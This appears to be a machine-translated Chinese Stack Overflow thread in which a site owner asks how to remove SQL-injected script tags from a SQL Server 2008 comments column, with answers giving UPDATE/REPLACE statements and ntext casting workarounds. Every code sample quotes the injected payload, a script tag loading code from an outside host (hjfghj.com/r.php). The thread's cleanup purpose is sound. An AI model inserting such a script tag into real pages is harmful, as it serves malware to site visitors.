我主持的網站最近是SQL注入的,我想找到一種方法從數據庫中的特定列(註釋)中刪除有問題的注入代碼。使用SQL Server 2008,我不知道這是爲什麼不工作:從表列刪除部分文本
USE Dirty
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
FROM SALONS
我主持的網站最近是SQL注入的,我想找到一種方法從數據庫中的特定列(註釋)中刪除有問題的注入代碼。使用SQL Server 2008,我不知道這是爲什麼不工作:從表列刪除部分文本
USE Dirty
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
FROM SALONS
你只是選擇 - 不更新....
試試這個:
USE Dirty
UPDATE dbo.Salons
SET Comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
WHERE (possibly a condition here...)
打我4秒! – msmucker0527 2012-03-08 21:48:25
得到:Msg 8116,Level 16,State 1,Line 3 參數數據類型ntext對替換函數的參數1無效。 – user547794 2012-03-08 21:50:12
您應該使用nvarchar(max)而不是ntext作爲列時間。 (請參閱http://msdn.microsoft.com/en-us/library/ms187993.aspx)根據您處理ntext列的方式,您可能必須更改相當多的代碼,但這將是值得的。 – 2012-03-08 22:33:24
你實際上沒有更新任何東西,只是選擇它。您需要創建更新聲明
USE Dirty
UPDATE SALONS
SET comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
我收到了:消息8116,級別16,狀態1,行3 參數數據類型ntext對於替換函數的參數1無效。 – user547794 2012-03-08 21:51:03
因爲列是導致錯誤的「ntext」。我設法解決這個使用像這樣的演員:
USE Dirty
UPDATE dbo.Salons
SET Comments = cast(replace(cast(comments as varchar(8000)),'</title><script src=http://hjfghj.com/r.php ></script>','') as ntext)
如果你這樣做 - 確保轉換爲'NVARCHAR(MAX)'!!!!否則,您將您的評論限制爲8000個字符,並且您將它們轉換回非Unicode! – 2012-03-09 05:55:07
什麼** datatype **是'評論'?? – 2012-03-08 21:46:25